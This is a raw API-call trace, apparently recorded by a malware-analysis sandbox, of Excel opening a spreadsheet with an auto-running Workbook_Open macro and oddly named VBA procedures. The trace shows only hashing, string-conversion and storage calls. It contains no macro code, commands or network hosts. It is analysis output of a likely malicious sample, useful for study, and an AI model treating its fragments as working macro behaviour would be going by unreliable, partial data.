lpMultiByteStr=0x4d86038, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0251.814] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=11, lpWideCharStr=0xb5bac08, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0251.814] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0251.814] SysStringByteLen (bstr="整獳") returned 0x4 [0251.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=4, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0251.814] SysStringByteLen (bstr="整獳") returned 0x4 [0251.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=5, lpWideCharStr=0x75dc4e8, cchWideChar=5 | out: lpWideCharStr="tess") returned 5 [0251.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.tess", cchWideChar=-1, lpMultiByteStr=0x27b680, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.tess", lpUsedDefaultChar=0x0) returned 18 [0251.814] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.tess") returned 0x1032c5 [0251.814] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.tess") returned 0x1032c5 [0251.814] lstrlenA (lpString="ThisWorkbook.tess") returned 17 [0251.815] SysStringByteLen (bstr="潴牲o") returned 0x5 [0251.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0251.815] SysStringByteLen (bstr="潴牲o") returned 0x5 [0251.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=6, lpWideCharStr=0x75dc4e8, cchWideChar=6 | out: lpWideCharStr="torro") returned 6 [0251.815] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.torro") returned 0x10083b [0251.815] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.torro") returned 0x10083b [0251.815] lstrlenA (lpString="ThisWorkbook.torro") returned 18 [0251.815] SysStringByteLen (bstr="楶正湩g") returned 0x7 [0251.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0251.815] SysStringByteLen (bstr="楶正湩g") returned 0x7 [0251.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=8, lpWideCharStr=0x75dc4e8, cchWideChar=8 | out: lpWideCharStr="vicking") returned 8 [0251.815] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.vicking") returned 0x10e46e [0251.815] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.vicking") returned 0x10e46e [0251.815] lstrlenA (lpString="ThisWorkbook.vicking") returned 20 [0251.815] SysStringByteLen (bstr="敳敲慮") returned 0x6 [0251.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0251.815] SysStringByteLen (bstr="敳敲慮") returned 0x6 [0251.815] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=7, lpWideCharStr=0x75dc4e8, cchWideChar=7 | out: lpWideCharStr="serena") returned 7 [0251.815] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.serena") returned 0x10dc0a [0251.815] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.serena") returned 0x10dc0a [0251.815] lstrlenA (lpString="ThisWorkbook.serena") returned 19 [0251.816] SysStringByteLen (bstr="浯慲n") returned 0x5 [0251.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0251.816] SysStringByteLen (bstr="浯慲n") returned 0x5 [0251.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=6, lpWideCharStr=0x75dc4e8, cchWideChar=6 | out: lpWideCharStr="omran") returned 6 [0251.816] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.omran") returned 0x10a105 [0251.816] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.omran") returned 0x10a105 [0251.816] lstrlenA (lpString="ThisWorkbook.omran") returned 18 [0251.816] SysStringByteLen (bstr="牴浥牯s") returned 0x7 [0251.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0251.816] SysStringByteLen (bstr="牴浥牯s") returned 0x7 [0251.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4d86038, cbMultiByte=8, lpWideCharStr=0x75dc4e8, cchWideChar=8 | out: lpWideCharStr="tremors") returned 8 [0251.816] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.tremors") returned 0x1000c1 [0251.816] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook.tremors") returned 0x1000c1 [0251.816] lstrlenA (lpString="ThisWorkbook.tremors") returned 20 [0251.816] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Sheet1") returned 0x101ae8 [0251.816] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75dc4e8, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0251.817] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa [0251.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x75dc4e8, cbMultiByte=11, lpWideCharStr=0xb5bac08, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11 [0251.817] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0251.817] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.tess", cchWideChar=-1, lpMultiByteStr=0x27b780, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.tess", lpUsedDefaultChar=0x0) returned 18 [0251.817] strncpy_s (in: _Dst=0xb97d0b0, _DstSize=0x13, _Src="ThisWorkbook.tess", _MaxCount=0x11 | out: _Dst="ThisWorkbook.tess") returned 0x0 [0251.817] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0251.817] bsearch (_Key=0x27a698, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0xb685948 [0251.817] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0251.817] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0251.817] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="tess") returned 0x10ab33 [0251.817] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="tess") returned 0x10ab33 [0251.817] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97e150 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="torro") returned 0x10171b [0251.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97eb10 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="DnullS") returned 0x10b153 [0251.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97ead0 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="vicking") returned 0x106614 [0251.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97ed70 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="serena") returned 0x106e34 [0251.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97ed30 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="omran") returned 0x10afe5 [0251.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97eb30 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Workbook_Open") returned 0x10e19b [0251.818] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb97fc10 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="tremors") returned 0x1082a6 [0251.818] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="tess", cchCount1=-1, lpString2="DnullS", cchCount2=-1) returned 3 [0251.818] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="tess", cchCount1=-1, lpString2="tess", cchCount2=-1) returned 2 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="tess") returned 0x10ab33 [0251.818] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="tess") returned 0x10ab33 [0251.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.torro", cchWideChar=-1, lpMultiByteStr=0x27b780, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.torro", lpUsedDefaultChar=0x0) returned 19 [0251.818] strncpy_s (in: _Dst=0xb97d0b0, _DstSize=0x14, _Src="ThisWorkbook.torro", _MaxCount=0x12 | out: _Dst="ThisWorkbook.torro") returned 0x0 [0251.819] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0251.819] bsearch (_Key=0x27a698, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0xb685948 [0251.819] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0251.819] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0251.819] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="torro") returned 0x10171b [0251.819] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="torro") returned 0x10171b [0251.819] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="torro") returned 0x10171b [0251.819] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.vicking", cchWideChar=-1, lpMultiByteStr=0x27b780, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.vicking", lpUsedDefaultChar=0x0) returned 21 [0251.819] strncpy_s (in: _Dst=0xb97d0b0, _DstSize=0x16, _Src="ThisWorkbook.vicking", _MaxCount=0x14 | out: _Dst="ThisWorkbook.vicking") returned 0x0 [0251.819] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0251.819] bsearch (_Key=0x27a698, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0xb685948 [0251.819] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0251.819] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0251.819] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="vicking") returned 0x106614 [0251.820] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="vicking") returned 0x106614 [0251.820] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="vicking") returned 0x106614 [0251.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.serena", cchWideChar=-1, lpMultiByteStr=0x27b780, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.serena", lpUsedDefaultChar=0x0) returned 20 [0251.820] strncpy_s (in: _Dst=0xb97d0b0, _DstSize=0x15, _Src="ThisWorkbook.serena", _MaxCount=0x13 | out: _Dst="ThisWorkbook.serena") returned 0x0 [0251.820] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0251.820] bsearch (_Key=0x27a698, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0xb685948 [0251.820] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0251.820] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0251.820] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="serena") returned 0x106e34 [0251.820] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="serena") returned 0x106e34 [0251.820] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="serena") returned 0x106e34 [0251.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.omran", cchWideChar=-1, lpMultiByteStr=0x27b780, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.omran", lpUsedDefaultChar=0x0) returned 19 [0251.821] strncpy_s (in: _Dst=0xb97d0b0, _DstSize=0x14, _Src="ThisWorkbook.omran", _MaxCount=0x12 | out: _Dst="ThisWorkbook.omran") returned 0x0 [0251.821] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0251.821] bsearch (_Key=0x27a698, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0xb685948 [0251.821] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0251.821] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0251.821] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="omran") returned 0x10afe5 [0251.821] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="omran") returned 0x10afe5 [0251.821] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="omran") returned 0x10afe5 [0251.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.tremors", cchWideChar=-1, lpMultiByteStr=0x27b780, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.tremors", lpUsedDefaultChar=0x0) returned 21 [0251.821] strncpy_s (in: _Dst=0xb97d0b0, _DstSize=0x16, _Src="ThisWorkbook.tremors", _MaxCount=0x14 | out: _Dst="ThisWorkbook.tremors") returned 0x0 [0251.821] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0251.822] bsearch (_Key=0x27a698, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0xb685948 [0251.822] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0251.822] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0251.822] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="tremors") returned 0x1082a6 [0251.822] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="tremors") returned 0x1082a6 [0251.822] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="tremors") returned 0x1082a6 [0251.920] GetCurrentThreadId () returned 0x92c [0251.920] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0251.921] GetDesktopWindow () returned 0x10010 [0251.921] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0251.921] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0251.921] IMalloc:Free (This=0x7feffc15380, pv=0xb97d150) [0252.164] GetAsyncKeyState (vKey=27) returned 0 [0252.164] GetCurrentThreadId () returned 0x92c [0252.164] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0252.164] GetDesktopWindow () returned 0x10010 [0252.164] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0252.164] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0252.165] IMalloc:Free (This=0x7feffc15380, pv=0xb972d70) [0252.210] CExposedDocFile::CreateStorage () returned 0x0 [0252.211] CExposedDocFile::CreateStream () returned 0x0 [0252.211] IMalloc:Alloc (This=0x7feffc15380, cb=0x420) returned 0xb83a030 [0252.211] CExposedStream::AddRef () returned 0x2 [0252.211] CExposedStream::Release () returned 0x1 [0252.211] CExposedStream::Seek () returned 0x0 [0252.211] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bab40, cb=0x0) returned 0x0 [0252.211] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x72785d0 [0252.211] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0x7277ac0 [0252.212] IMalloc:Realloc (This=0x7feffc15380, pv=0xb3042c0, cb=0x8) returned 0x7277ac0 [0252.212] CExposedStream::Seek () returned 0x0 [0252.212] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5bab70, cb=0x0) returned 0x0 [0252.212] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7278400 [0252.212] CExposedStream::Seek () returned 0x0 [0252.212] IMalloc:Realloc (This=0x7feffc15380, pv=0xb5baba0, cb=0x0) returned 0x0 [0252.212] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0x7277ad0 [0252.212] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3e3668, ppTypeAttr=0x27cb20, pDummy=0x7117560 | out: ppTypeAttr=0x27cb20, pDummy=0x7117560*=0x7) returned 0x0 [0252.212] StringFromGUID2 (in: rguid=0xb2b0688*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x27cb60, cchMax=39 | out: lpsz="{00020819-0000-0000-C000-000000000046}") returned 39 [0252.212] ITypeInfo:LocalReleaseTypeAttr (This=0xb3e3668) returned 0x0 [0252.212] IUnknown:Release (This=0xb3e3668) returned 0x1 [0252.212] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb8cab20 [0252.212] CExposedStream::Seek () returned 0x0 [0252.213] IMalloc:Realloc (This=0x7feffc15380, pv=0x760a770, cb=0xe30) returned 0xb194420 [0252.213] CExposedStream::Write () returned 0x0 [0252.213] CExposedStream::Write () returned 0x0 [0252.214] CExposedStream::Seek () returned 0x0 [0252.214] CExposedStream::Seek () returned 0x0 [0252.214] wcscpy_s (in: _Destination=0x27cb38, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0252.214] _ultow_s (in: _Value=0xffff, _Buffer=0x27cb3e, _BufferCount=0xa, _Radix=16 | out: _Buffer="ffff") returned 0x0 [0252.214] wcscpy_s (in: _Destination=0xb5aee18, _SizeInWords=0x49, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls" | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\3D_5684_DOC20181101014.xls_.xls") returned 0x0 [0252.214] wcscpy_s (in: _Destination=0xb5aee92, _SizeInWords=0xb, _Source="035db8060c" | out: _Destination="035db8060c") returned 0x0 [0252.214] wcscpy_s (in: _Destination=0xafd5338, _SizeInWords=0x13, _Source="*\\Rffff*" | out: _Destination="*\\Rffff*") returned 0x0 [0252.214] wcscpy_s (in: _Destination=0xafd5348, _SizeInWords=0xb, _Source="035db8060c" | out: _Destination="035db8060c") returned 0x0 [0252.214] CExposedStream::Seek () returned 0x0 [0252.215] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ca78 | out: ppvObject=0x27ca78*=0x0) returned 0x80004002 [0252.215] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb3fb1f8, ppTLib=0x27ca80, pIndex=0x27ca90 | out: ppTLib=0x27ca80*=0xb1d1370, pIndex=0x27ca90*=0x17) returned 0x0 [0252.215] IUnknown:QueryInterface (in: This=0xb1d1370, riid=0x7fee5e1b078*(Data1=0x20411, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27ca88 | out: ppvObject=0x27ca88*=0xb1d1370) returned 0x0 [0252.215] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27cb00, pDummy=0x0 | out: ppTLibAttr=0x27cb00, pDummy=0x0) returned 0x0 [0252.215] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0252.215] wcscpy_s (in: _Destination=0x27cb38, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0252.215] _ultow_s (in: _Value=0x0, _Buffer=0x27cb3e, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0 [0252.215] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ca98 | out: ppvObject=0x27ca98*=0x0) returned 0x80004002 [0252.215] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ca78 | out: ppvObject=0x27ca78*=0x0) returned 0x80004002 [0252.215] _ultow_s (in: _Value=0x17, _Buffer=0x27cb44, _BufferCount=0x7, _Radix=16 | out: _Buffer="17") returned 0x0 [0252.215] wcscpy_s (in: _Destination=0x75dc4e8, _SizeInWords=0x9, _Source="*\\R0*#17" | out: _Destination="*\\R0*#17") returned 0x0 [0252.215] IUnknown:Release (This=0xb1d1370) returned 0xb [0252.215] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ca78 | out: ppvObject=0x27ca78*=0x0) returned 0x80004002 [0252.215] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb3fb2a8, ppTLib=0x27ca80, pIndex=0x27ca90 | out: ppTLib=0x27ca80*=0xb1d1370, pIndex=0x27ca90*=0xf) returned 0x0 [0252.216] IUnknown:QueryInterface (in: This=0xb1d1370, riid=0x7fee5e1b078*(Data1=0x20411, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27ca88 | out: ppvObject=0x27ca88*=0xb1d1370) returned 0x0 [0252.216] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27cb00, pDummy=0x0 | out: ppTLibAttr=0x27cb00, pDummy=0x0) returned 0x0 [0252.216] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0252.216] wcscpy_s (in: _Destination=0x27cb38, _SizeInWords=0xd, _Source="*\\R" | out: _Destination="*\\R") returned 0x0 [0252.216] _ultow_s (in: _Value=0x0, _Buffer=0x27cb3e, _BufferCount=0xa, _Radix=16 | out: _Buffer="0") returned 0x0 [0252.216] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ca98 | out: ppvObject=0x27ca98*=0x0) returned 0x80004002 [0252.216] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27ca78 | out: ppvObject=0x27ca78*=0x0) returned 0x80004002 [0252.216] _ultow_s (in: _Value=0xf, _Buffer=0x27cb44, _BufferCount=0x7, _Radix=16 | out: _Buffer="f") returned 0x0 [0252.216] wcscpy_s (in: _Destination=0x75dc4e8, _SizeInWords=0x8, _Source="*\\R0*#f" | out: _Destination="*\\R0*#f") returned 0x0 [0252.216] IUnknown:Release (This=0xb1d1370) returned 0xb [0252.216] CExposedStream::Seek () returned 0x0 [0252.216] CExposedStream::Seek () returned 0x0 [0252.216] IMalloc:Realloc (This=0x7feffc15380, pv=0x0, cb=0x8) returned 0x7277b90 [0252.216] IMalloc:Realloc (This=0x7feffc15380, pv=0xb60f380, cb=0x1718) returned 0xb60f380 [0252.216] IMalloc:Realloc (This=0x7feffc15380, pv=0xb60c490, cb=0x3c0) returned 0xb60c490 [0252.217] CExposedStream::Write () returned 0x0 [0252.217] CExposedStream::Write () returned 0x0 [0252.217] CExposedStream::Write () returned 0x0 [0252.217] CExposedStream::Seek () returned 0x0 [0252.217] CExposedStream::Write () returned 0x0 [0252.217] CExposedStream::Seek () returned 0x0 [0252.217] CExposedStream::AddRef () returned 0x2 [0252.217] CExposedStream::Write () returned 0x0 [0252.217] CExposedStream::Release () returned 0x1 [0252.217] IMalloc:Free (This=0x7feffc15380, pv=0xb83a030) [0252.217] CExposedStream::Seek () returned 0x0 [0252.217] IMalloc:Alloc (This=0x7feffc15380, cb=0x2028) returned 0xba2cea0 [0252.217] IMalloc:Alloc (This=0x7feffc15380, cb=0x10020*=0x10128) returned 0xbb024e0 [0252.217] CExposedStream::AddRef () returned 0x2 [0252.217] CExposedStream::Write () returned 0x0 [0252.217] CExposedStream::Release () returned 0x1 [0252.217] _mbscpy_s (in: _Dst=0x7fee5e42aa0, _DstSizeInBytes=0x400, _Src=0x7fee5dfe648 | out: _Dst=0x7fee5e42aa0) returned 0x0 [0252.217] _mbscpy_s (in: _Dst=0x7fee5e42aaa, _DstSizeInBytes=0x3f6, _Src=0x7fee5dfe740 | out: _Dst=0x7fee5e42aaa) returned 0x0 [0252.217] _mbscpy_s (in: _Dst=0x7fee5e42ab5, _DstSizeInBytes=0x3eb, _Src=0xb972550 | out: _Dst=0x7fee5e42ab5) returned 0x0 [0252.217] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3e3668, ppTypeAttr=0x27c9e0, pDummy=0x7117560 | out: ppTypeAttr=0x27c9e0, pDummy=0x7117560*=0x7) returned 0x0 [0252.218] StringFromGUID2 (in: rguid=0xb2b0688*(Data1=0x20819, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x27ca20, cchMax=39 | out: lpsz="{00020819-0000-0000-C000-000000000046}") returned 39 [0252.218] ITypeInfo:LocalReleaseTypeAttr (This=0xb3e3668) returned 0x0 [0252.218] IUnknown:Release (This=0xb3e3668) returned 0x1 [0252.218] IMalloc:Alloc (This=0x7feffc15380, cb=0x50) returned 0xb8cab20 [0252.218] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0{00020819-0000-0000-C000-000000000046}", cchWideChar=40, 